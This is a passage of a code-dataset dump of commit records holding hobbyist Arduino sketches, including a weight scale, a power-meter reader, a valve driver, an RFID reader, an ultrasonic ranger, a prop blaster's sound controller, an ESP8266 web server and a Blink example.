windowSize;\n weight = (average - adc_zero_const) * gain_const;\n\n\n\n\n display.clearDisplay();\n display.setCursor(0, 0);\n display.print(\"\\nWeight: \");\n \/\/Set text size to 1(small)\n \/\/display.setCursor(10, 25); \/\/ set cursor position x,y\n display.print(weight, 0);\n display.print(\"g\\n\");\n \/\/ display.display();\n \/\/ display.setTextSize(1.5);\n \/\/display.setCursor(0, 30);\n display.print(\"\\nADC Code: \");\n display.print(average);\n display.print(\"\\nGain Const: \");\n display.print(gain_const, 3);\n display.print(\"\\nRaw ADC Code: \");\n display.print(newReading);\n display.display();\n\n Serial.println(average);\n delay(100); \/\/ delay in between reads for stability\n\n\n if (Serial.available() > 0) {\n \/\/ read the incoming byte:\n int inByte = Serial.read();\n switch (inByte) {\n case 'm':\n while (Serial.available() <= 0) {\n delay(200);\n }\n adc_zero_const = Serial.parseInt();\n break;\n case 'g':\n while (Serial.available() <= 0) {\n delay(200);\n }\n gain_const = Serial.parseFloat() \/ average;\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/weight_scale_code\/weight_scale_code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"714714d59cdbb5a8459b0e3f3dac826b43b581a3","subject":"Create PotMeterWorkshop.ino","message":"Create PotMeterWorkshop.ino","repos":"TheThingsNetwork\/workshops,TheThingsNetwork\/workshops","old_file":"The Things Network\/potmeter-workshop\/PotMeterWorkshop\/PotMeterWorkshop.ino","new_file":"The Things Network\/potmeter-workshop\/PotMeterWorkshop\/PotMeterWorkshop.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'The' did not match any file(s) known to git\nerror: pathspec 'Things' did not match any file(s) known to git\nerror: pathspec 'Network\/potmeter-workshop\/PotMeterWorkshop\/PotMeterWorkshop.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9cae613903aa6973b381e981477e09ec662169f","subject":"Test ATtiny SoftwareSerial + Manchester lib","message":"Test ATtiny SoftwareSerial + Manchester lib\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"TeleInfo\/TestTinySerial\/TestTinySerial.ino","new_file":"TeleInfo\/TestTinySerial\/TestTinySerial.ino","new_contents":"\n\/*\n * Test Attiny serial communication\n *\n *\/\n\n#include <Manchester.h>\n#include <SoftwareSerial.h>\n\n#define rxSerialPin 0 \/\/ RX PIN for Software Serial\n#define txSerialPin 1 \/\/ TX PIN for Software Serial \n\n\/\/#define flagLed 2 \/\/ KO LED\n#define txPin 2 \/\/ TX Out\n\/\/#define txLed 2 \/\/ TX LED\n\n#define sensID 5 \/\/ Sensor ID\n\n\n\/\/ EDF Link\nSoftwareSerial _edfLink(rxSerialPin, txSerialPin); \/\/ rx, tx pins\n\n\n\n\/\/ Sensor Message Structure\ntypedef struct sensorData_t{\n uint8_t id; \/\/ size 1\n float value; \/\/ size 4\n uint8_t checksum; \/\/ size 1\n};\n\ntypedef union sensorData_union_t{\n sensorData_t data;\n uint8_t raw[6]; \/\/ total size of 5 bytes\n};\n\n\/\/ Sensor Message\nsensorData_union_t _message; \n\n\nvoid setup() {\n\n\/\/ pinMode(txLed, OUTPUT); \n\/\/ pinMode(flagLed, OUTPUT); \n\/\/ digitalWrite(txLed, LOW);\n\/\/ digitalWrite(flagLed, LOW);\n\n \/\/ Write Sensor ID\n _message.data.id = sensID;\n\n\n}\n\nvoid loop() {\n\n\n acquireApparentPower();\n \n delay(20000);\n\n}\n\n\n\nvoid acquireApparentPower()\n{\n boolean exit = false;\n boolean insideLine = false;\n char buffer[40];\n int lenght = 0;\n\n \/\/ Start Serial with EDF box\n _edfLink.begin(1200);\n\n \/\/ Loop\n while (!exit)\n {\n int current = _edfLink.read();\n\n if(current < 0 )\n {\n \/\/ Error\n \/\/digitalWrite(txLed, LOW);\n }\n else\n {\n \/\/digitalWrite(txLed, HIGH);\n \n \/\/ Convert Read Char\n char value = current & 0x7F;\n\n if (value==0x0A)\n {\n \/\/digitalWrite(flagLed, HIGH);\n\n \/\/ Begin new Information Line\n\n \/\/ Turn Flag\n insideLine = true;\n\n \/\/ Clear buffer\n lenght = 0;\n }\n else if (value==0x0D)\n {\n \/\/ End of Line\n \/\/digitalWrite(flagLed, LOW);\n \n \/\/ Message size is at least 10 char\n if(lenght>=10)\n {\n \/\/ Find PAPP value in line : ex PAPP 00450 *\n if(buffer[0]=='P' && buffer[1]=='A' && buffer[2]=='P' && buffer[3]=='P')\n {\n \/\/ Stop link interruption\n _edfLink.end();\n \n \/\/ Remove CheckSum\n buffer[10] = '\\0';\n \n \/\/ Convert to Float\n float value = atof(buffer+5);\n \n \/\/ Save Power\n _message.data.value = value;\n \n \/\/ Compute Checksum : CRC8 on ID+Value\n _message.data.checksum = crc8(_message.raw, 5);\n \n \/\/ TX Setup\n man.setupTransmit(txPin);\n \n \/\/ Send All Data\n man.transmitArray(6, _message.raw);\n \n \/*\n for(int i =0; i<_message.data.value;i++)\n {\n \/\/ Blink\n digitalWrite(flagLed, HIGH);\n delay(200);\n digitalWrite(flagLed, LOW);\n delay(200);\n }\n \n *\/\n \n \/\/ exit\n exit = true;\n } \n }\n\n \/\/ Turn Off Flag\n insideLine = false;\n\n \/\/ Clear buffer\n lenght = 0;\n \n \/\/ Clear Link\n _edfLink.flush();\n }\n else\n {\n \/\/ Data\n if(insideLine && lenght < 39)\n {\n \/\/ Add Char\n buffer[lenght++] = value;\n }\n }\n\n }\n\n }\n\n}\n\n\n\/\/ This table comes from Dallas sample code where it is freely reusable,\n\/\/ though Copyright (C) 2000 Dallas Semiconductor Corporation\nstatic const uint8_t PROGMEM dscrc_table[] = {\n 0, 94,188,226, 97, 63,221,131,194,156,126, 32,163,253, 31, 65,\n 157,195, 33,127,252,162, 64, 30, 95, 1,227,189, 62, 96,130,220,\n 35,125,159,193, 66, 28,254,160,225,191, 93, 3,128,222, 60, 98,\n 190,224, 2, 92,223,129, 99, 61,124, 34,192,158, 29, 67,161,255,\n 70, 24,250,164, 39,121,155,197,132,218, 56,102,229,187, 89, 7,\n 219,133,103, 57,186,228, 6, 88, 25, 71,165,251,120, 38,196,154,\n 101, 59,217,135, 4, 90,184,230,167,249, 27, 69,198,152,122, 36,\n 248,166, 68, 26,153,199, 37,123, 58,100,134,216, 91, 5,231,185,\n 140,210, 48,110,237,179, 81, 15, 78, 16,242,172, 47,113,147,205,\n 17, 79,173,243,112, 46,204,146,211,141,111, 49,178,236, 14, 80,\n 175,241, 19, 77,206,144,114, 44,109, 51,209,143, 12, 82,176,238,\n 50,108,142,208, 83, 13,239,177,240,174, 76, 18,145,207, 45,115,\n 202,148,118, 40,171,245, 23, 73, 8, 86,180,234,105, 55,213,139,\n 87, 9,235,181, 54,104,138,212,149,203, 41,119,244,170, 72, 22,\n 233,183, 85, 11,136,214, 52,106, 43,117,151,201, 74, 20,246,168,\n 116, 42,200,150, 21, 75,169,247,182,232, 10, 84,215,137,107, 53};\n\n\/\/\n\/\/ Compute a Dallas Semiconductor 8 bit CRC. These show up in the ROM\n\/\/ and the registers. (note: this might better be done without to\n\/\/ table, it would probably be smaller and certainly fast enough\n\/\/ compared to all those delayMicrosecond() calls. But I got\n\/\/ confused, so I use this table from the examples.)\n\/\/\nuint8_t crc8(const uint8_t *addr, uint8_t len)\n{\n\tuint8_t crc = 0;\n\n\twhile (len--) {\n\t\tcrc = pgm_read_byte(dscrc_table + (crc ^ *addr++));\n\t}\n\treturn crc;\n}\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TeleInfo\/TestTinySerial\/TestTinySerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"769ee3ce57b63d329fcf27a741fad4dfed3f3938","subject":"-Added preliminary driver for shift registers and LEDs. -This code will be modified and integrated with the other aaspects of the controller later -Once the schematic is somewhat more finalised, a diagram will be uploaded to outline the circuit being used","message":"-Added preliminary driver for shift registers and LEDs.\n-This code will be modified and integrated with the other aaspects of the\n controller later\n-Once the schematic is somewhat more finalised, a diagram will be uploaded\n to outline the circuit being used\n","repos":"ScienceWorldCA\/UBC-Capstones-2016-Waterfall,ScienceWorldCA\/UBC-Capstones-2016-Waterfall","old_file":"controller\/src\/preliminary_register_driver\/preliminary_register_driver.ino","new_file":"controller\/src\/preliminary_register_driver\/preliminary_register_driver.ino","new_contents":"#include \"TimerOne.h\"\n\n#define SRCLR_PIN 13 \/\/Active low\n#define SRCLK_PIN 12\n#define RCLK_PIN 11\n#define OE_PIN 10 \/\/Active Low\n\n#define VALVES_PER_VALVE_BANK 8\n#define NUM_VALVE_BANKS 2\n#define NUM_VALVES NUM_VALVE_BANKS * VALVES_PER_VALVE_BANK\n\n\/\/TODO: Likely change this to come from the pattern file\n#define PATTERN_LENGTH 16\n\n#define SER1_PIN 8\n#define SER2_PIN 9\n\nint serial_pins[NUM_VALVE_BANKS] = {SER1_PIN, SER2_PIN};\n\nchar pattern[PATTERN_LENGTH][NUM_VALVES] = {{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},\n {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},\n {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},\n {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},\n {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},\n {0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1},\n {1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0},\n {0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1},\n {1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0},\n {0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1},\n {1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0},\n {0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1},\n {1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0},\n {1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0},\n {0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1},\n {0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0}};\n \nint current_pattern_line = 0;\n\nvoid update_output(void)\n{\n digitalWrite(RCLK_PIN, HIGH);\n digitalWrite(RCLK_PIN, LOW); \n \n current_pattern_line = (current_pattern_line + 1) % PATTERN_LENGTH;\n \n \/\/Iterate through the 8 bits being sent to a shift register for a given row (prepare the next row for output)\n int j;\n for (j = 0; j < VALVES_PER_VALVE_BANK; j++)\n {\n \/\/Iterate through the shift registers, sending one bit to each\n int k;\n for (k = 0; k < NUM_VALVE_BANKS; k++)\n {\n if (pattern[current_pattern_line][j + (VALVES_PER_VALVE_BANK * k)])\n digitalWrite(serial_pins[k], HIGH);\n else\n digitalWrite(serial_pins[k], LOW);\n }\n digitalWrite(SRCLK_PIN, HIGH);\n digitalWrite(SRCLK_PIN, LOW);\n }\n}\n\nvoid setup() {\n pinMode(SRCLR_PIN, OUTPUT);\n pinMode(SRCLK_PIN, OUTPUT);\n pinMode(RCLK_PIN, OUTPUT);\n pinMode(OE_PIN, OUTPUT);\n pinMode(SER1_PIN, OUTPUT);\n pinMode(SER2_PIN, OUTPUT);\n \n Timer1.initialize(250000); \/\/ initialize timer1, and set a 1\/4 second period\n Timer1.attachInterrupt(update_output); \/\/ attaches update_output() as a timer overflow interrupt\n}\n\nvoid loop() {\n \n digitalWrite(SRCLR_PIN, HIGH);\n digitalWrite(OE_PIN, LOW);\n \n for(;;);\n \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'controller\/src\/preliminary_register_driver\/preliminary_register_driver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"062360f512fc0212432728f5dac0b4593f5e424f","subject":"Added I2c_ReadReady example, without interruptions","message":"Added I2c_ReadReady example, without interruptions\n","repos":"joruiz\/SM125","old_file":"examples\/I2C_ReadReady\/I2C_ReadReady.ino","new_file":"examples\/I2C_ReadReady\/I2C_ReadReady.ino","new_contents":"\/*\n Read_Ready\n Read RFID tag Id when DREADY line is high\n \n This example code is in the public domain.\n*\/\n\n\/*\n DREADY pin to pin 2\n SCL pin to pin A5\n SDA pin to pin A4\n*\/\n \n#include <Wire.h>\n#include <SM125.h>\n\n\/*\n SM-125 DREADY pin to pin 2\n SM-125 SCL pin to pin A5\n SM-125 SDA pin to pin A4\n*\/\n\n#define SM125_ADDRESS 0x46\n#define DREADY 2\n\nSM125 sm125;\nbyte tagId[4];\n\nvoid setup() {\n \n Serial.begin(9600);\n Serial.println(\"Start Simple Read Demo:\");\n\n pinMode(DREADY, INPUT_PULLUP);\n \n sm125.begin(SM125_ADDRESS);\n \n}\n\nvoid loop() {\n\n if (digitalRead(DREADY) == HIGH) {\n if (sm125.readTag(tagId)){\n Serial.print(\"Tag leido: \");\n for (int i = 0; i < 4; i++){\n if (tagId[i] < 16)\n Serial.print('0');\n Serial.print(tagId[i], HEX);\n }\n Serial.println();\n }\n else\n Serial.println(\"No Tag\");\n }\n delay(10);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/I2C_ReadReady\/I2C_ReadReady.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"be2a2517cb5198f756e12b97413c18243474bd3c","subject":"added buzzer","message":"added buzzer","repos":"hantar\/arduinogo,hantar\/arduinogo,hantar\/arduinogo","old_file":"matrix timer\/my_-_matrix8x8.ino","new_file":"matrix timer\/my_-_matrix8x8.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'matrix' did not match any file(s) known to git\nerror: pathspec 'timer\/my_-_matrix8x8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5b6495e312fb959945eee995980c7d10a4f6c824","subject":"Using NewPing library","message":"Using NewPing library\n\nUse NewPing Library to make the code easier\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"UltraSonicRangeFinder\/UltraSonicHC-Sr04\/NewPing\/UltrasonicHCSR04NewPing.ino","new_file":"UltraSonicRangeFinder\/UltraSonicHC-Sr04\/NewPing\/UltrasonicHCSR04NewPing.ino","new_contents":"#include <NewPing.h>\n \n#define TRIGGER_PIN 12\n#define ECHO_PIN 11\n#define MAX_DISTANCE 300\n \nNewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\n \nvoid setup() {\n Serial.begin(9600);\n}\n \nvoid loop() {\n delay(50);\n unsigned int uS = sonar.ping_cm();\n Serial.print(uS);\n Serial.println(\"cm\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'UltraSonicRangeFinder\/UltraSonicHC-Sr04\/NewPing\/UltrasonicHCSR04NewPing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"472566b4a855bd8982c486c019314df716c706cb","subject":"Committed by UECIDE","message":"Committed by UECIDE","repos":"majenkotech\/PulseRifleStd2,majenkotech\/PulseRifleStd2","old_file":"PulseRifleStd2.ino","new_file":"PulseRifleStd2.ino","new_contents":"\/*\n * Copyright (c) 2014, Majenko Technologies\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * \n * * Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n * \n * * Neither the name of Majenko Technologies nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <LEDMux.h>\n#include <PWMAudio.h>\n#include <DebouncedInput.h>\n\n#include \"sounds.h\"\n\n#pragma parameter board=prfmv2-575\n\nPWMAudio sound(AUDIO, 11025, AMP);\nLEDMux display(8, 2, 2000);\n\nDebouncedInput prTrigger(IO0, 10, true);\nDebouncedInput magazine(IO1, 10, true);\nDebouncedInput glTrigger(IO2, 10, true);\nDebouncedInput glRack(IO3, 10, true);\n\nunsigned int prAmmo = 99;\nunsigned int glAmmo = 5;\nunsigned int glBreech = 0;\n\nconst unsigned int AMMO_TICK_SPEED = 100;\nconst unsigned int PR_FIRE_SPEED = 1000 \/ 20;\nconst unsigned int PR_SWEEP_SPEED = 1;\nconst unsigned int FLASH_FADE_SPEED = 2;\n \nint prSweep = 0;\nint prSweepStep;\nint prSweepCount = 0;\nint prFlash = 0;\nint glFlash = 0;\n\nvoid firePulseRifle();\n\nvoid setup() {\n Serial.begin(9600);\n sound.begin();\n\n prTrigger.begin();\n magazine.begin();\n glTrigger.begin();\n glRack.begin();\n\n display.setCathodes(DC0, DC1);\n display.setAnodes(DA0, DA1, DA2, DA3, DA4, DA5, DA6, DA7);\n display.setBrightness(6);\n display.begin();\n display.print(\"\\n\");\n display.print(prAmmo);\n}\n\nvoid loop() {\n static unsigned long ammoLoadTick = millis();\n static unsigned long prFireTick = 0;\n static unsigned long displayTimeout = 0;\n static unsigned long mfFade = millis();\n unsigned long now = millis();\n char t[4];\n\n if (now - mfFade >= FLASH_FADE_SPEED) {\n mfFade = now;\n\n if (glFlash > 0) {\n glFlash--;\n }\n\n if (prFlash > 0) {\n prFlash -= 4;\n }\n\n if (prFlash < 0) {\n prFlash = 0;\n }\n\n analogWrite(LED0, prFlash);\n analogWrite(LED1, glFlash);\n }\n\n if (displayTimeout > 0) {\n if (now - displayTimeout >= 1000) {\n displayTimeout = 0;\n sprintf(t, \"\\n%02d\", prAmmo);\n display.print(t);\n }\n }\n\n if (prAmmo > 95) {\n if (now - ammoLoadTick >= AMMO_TICK_SPEED) {\n ammoLoadTick = now;\n prAmmo --;\n\n if (prAmmo < 100) {\n display.print(\"\\n\");\n display.print(prAmmo);\n sound.queueSample(load_click, load_click_len, 0, 0);\n\n } else {\n display.print(\"\\n--\");\n }\n }\n }\n\n if (prTrigger.changed()) {\n if (prTrigger.read() == LOW) {\n prFireTick = now;\n prSweepCount = 0;\n prSweep = (rand() % 32) - 8;\n\n if (prSweep > 0) {\n prSweepStep = -PR_SWEEP_SPEED;\n\n } else {\n prSweepStep = PR_SWEEP_SPEED;\n }\n\n firePulseRifle();\n\n } else {\n prFireTick = 0;\n }\n }\n\n if (prFireTick != 0) {\n if (now - prFireTick >= PR_FIRE_SPEED) {\n prFireTick = now;\n firePulseRifle();\n }\n }\n\n if (magazine.changed()) {\n if (magazine.read() == LOW) {\n sound.queueSingleSample(magazine_insert, magazine_insert_len, 0, 0);\n prAmmo = 104;\n glAmmo = 5;\n\n } else {\n sound.queueSingleSample(magazine_remove, magazine_remove_len, 0, 0);\n prAmmo = 0;\n glAmmo = 0;\n display.print(\"\\n--\");\n }\n }\n\n if (glRack.changed()) {\n\n if (glRack.read() == LOW) {\n if (glBreech == 1) {\n sound.queueSingleSample(gl_rack_pull, gl_rack_pull_len, 0, 0);\n\n } else {\n sound.queueSingleSample(gl_rack_pull_empty, gl_rack_pull_empty_len, 0, 0);\n }\n\n glBreech = 0;\n display.setDecimalPoint(0, LOW);\n sprintf(t, \"\\n%02d\", glAmmo);\n display.print(t);\n displayTimeout = now;\n\n } else {\n if (glAmmo > 0) {\n glAmmo--;\n glBreech = 1;\n display.setDecimalPoint(0, HIGH);\n sound.queueSingleSample(gl_rack_push, gl_rack_push_len, 0, 0);\n\n } else {\n sound.queueSingleSample(gl_rack_push_empty, gl_rack_push_empty_len, 0, 0);\n }\n\n sprintf(t, \"\\n%02d\", glAmmo);\n display.print(t);\n displayTimeout = now;\n }\n }\n\n if (glTrigger.changed()) {\n if (glTrigger.read() == LOW) {\n if (glBreech == 1) {\n glBreech = 0;\n display.setDecimalPoint(0, LOW);\n glFlash = 255;\n sound.queueSample(gl_fire, gl_fire_len, 0, 0);\n sound.queueSample(gl_boom, gl_boom_len, 2000 + (rand() % 10000), (rand() % 100) - 50);\n\n } else {\n sound.queueSample(pr_click, pr_click_len, 0, 0);\n }\n }\n }\n}\n\nvoid firePulseRifle() {\n char t[4];\n\n if (prAmmo > 0 && prAmmo <= 95) {\n prAmmo --;\n sound.queueSample(pr_fire, pr_fire_len, 0, prSweep * 4);\n\n if (prSweepCount > 3 && prSweepCount < 10) {\n prSweep += prSweepStep;\n }\n\n prSweepCount++;\n sprintf(t, \"\\n%02d\", prAmmo);\n display.print(t);\n prFlash = 255;\n\n } else {\n sound.queueSample(pr_click, pr_click_len, 0, 0);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PulseRifleStd2.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8900adebdef4fbad8b78fdd27800a964022b4702","subject":"WLAN Controll for the Arduino (ESP8266-12 as serial interface)","message":"WLAN Controll for the Arduino (ESP8266-12 as serial interface)\n","repos":"Rugosh\/LedCube,Rugosh\/LedCube","old_file":"src\/Arduino\/CUBE_WLAN\/CUBE_WLAN.ino","new_file":"src\/Arduino\/CUBE_WLAN\/CUBE_WLAN.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\nconst char* ssid = \"****\";\nconst char* password = \"*****\";\n\nESP8266WebServer server(80);\n\nvoid handleRoot() {\n server.send(200, \"text\/plain\", \"hello from cube controller\");\n}\n\nvoid handleSetMode() {\n if (server.hasArg(\"MODE\")){\n String cubeMode = server.arg(\"MODE\");\n String msg = \"New Mode : \" + cubeMode;\n Serial.print(cubeMode);\n delay(200);\n msg += \"<br \/>Response from Cube:<br \/>\" + Serial.readString();\n server.send(200, \"text\/html\", msg);\n }\n}\n\nvoid handleNotFound(){\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET)?\"GET\":\"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i=0; i<server.args(); i++){\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(404, \"text\/plain\", message);\n}\n\nvoid setup(void){\n Serial.begin(115200);\n WiFi.begin(ssid, password);\n \/\/Serial.println(\"\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n \/\/Serial.print(\".\");\n }\n \/*\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n *\/\n\n if (MDNS.begin(\"esp8266\")) {\n \/\/Serial.println(\"MDNS responder started\");\n }\n\n server.on(\"\/\", handleRoot);\n\n server.on(\"\/setmode\", handleSetMode);\n\n server.onNotFound(handleNotFound);\n\n server.begin();\n \/\/Serial.println(\"HTTP server started\");\n}\n\nvoid loop(void){\n server.handleClient();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Arduino\/CUBE_WLAN\/CUBE_WLAN.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"030e2100747513ad60f77d4459cf3123bc94b91f","subject":"add blink sketch for ESP32","message":"add blink sketch for ESP32\n","repos":"473856\/Lupinino,473856\/Lupinino,473856\/Lupinino,473856\/Lupinino","old_file":"playground\/ESP32\/Blink\/Blink.ino","new_file":"playground\/ESP32\/Blink\/Blink.ino","new_contents":"\/*\n Blink\n\n Turns an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the UNO, MEGA and ZERO\n it is attached to digital pin 13, on MKR1000 on pin 6. LED_BUILTIN is set to\n the correct LED pin independent of which board is used.\n If you want to know what pin the on-board LED is connected to on your Arduino\n model, check the Technical Specs of your board at:\n https:\/\/www.arduino.cc\/en\/Main\/Products\n\n modified 8 May 2014\n by Scott Fitzgerald\n modified 2 Sep 2016\n by Arturo Guadalupi\n modified 8 Sep 2016\n by Colby Newman\n\n This example code is in the public domain.\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/Blink\n*\/\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \/\/ initialize digital pin LED_BUILTIN as an output.\n pinMode(LED_BUILTIN, OUTPUT);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(LED_BUILTIN, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(LED_BUILTIN, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'playground\/ESP32\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"de63534322be41ebb66456d26130ceed026ab08b","subject":"Added Arduino created code.","message":"Added Arduino created code.\n","repos":"mccarts3\/MPU6050-Processing,mccarts3\/MPU6050-Processing,mccarts3\/MPU6050-Processing","old_file":"CreatedCode\/Arduino\/MPU6050Arduino1.ino","new_file":"CreatedCode\/Arduino\/MPU6050Arduino1.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)\n\/\/ 6\/21\/2012 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\/\/\n\/\/ Changelog:\n\/\/ 2013-05-08 - added seamless Fastwire support\n\/\/ - added note about gyro calibration\n\/\/ 2012-06-21 - added note about Arduino 1.0.1 + Leonardo compatibility error\n\/\/ 2012-06-20 - improved FIFO overflow handling and simplified read process\n\/\/ 2012-06-19 - completely rearranged DMP initialization code and simplification\n\/\/ 2012-06-13 - pull gyro and accel data from FIFO packet instead of reading directly\n\/\/ 2012-06-09 - fix broken FIFO read sequence and change interrupt detection to RISING\n\/\/ 2012-06-05 - add gravity-compensated initial reference frame acceleration output\n\/\/ - add 3D math helper file to DMP6 example sketch\n\/\/ - add Euler output and Yaw\/Pitch\/Roll output formats\n\/\/ 2012-06-04 - remove accel offset clearing for better results (thanks Sungon Lee)\n\/\/ 2012-06-01 - fixed gyro sensitivity to be 2000 deg\/sec instead of 250\n\/\/ 2012-05-30 - basic DMP initialization working\n\n\/* ============================================\nI2Cdev device library code is placed under the MIT license\nCopyright (c) 2012 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\/\/#include \"MPU6050.h\" \/\/ not necessary if using MotionApps include file\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\n\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n * ========================================================================= *\/\n\n\/* =========================================================================\n NOTE: Arduino v1.0.1 with the Leonardo board generates a compile error\n when using Serial.write(buf, len). The Teapot output uses this method.\n The solution requires a modification to the Arduino USBAPI.h file, which\n is fortunately simple, but annoying. This will be 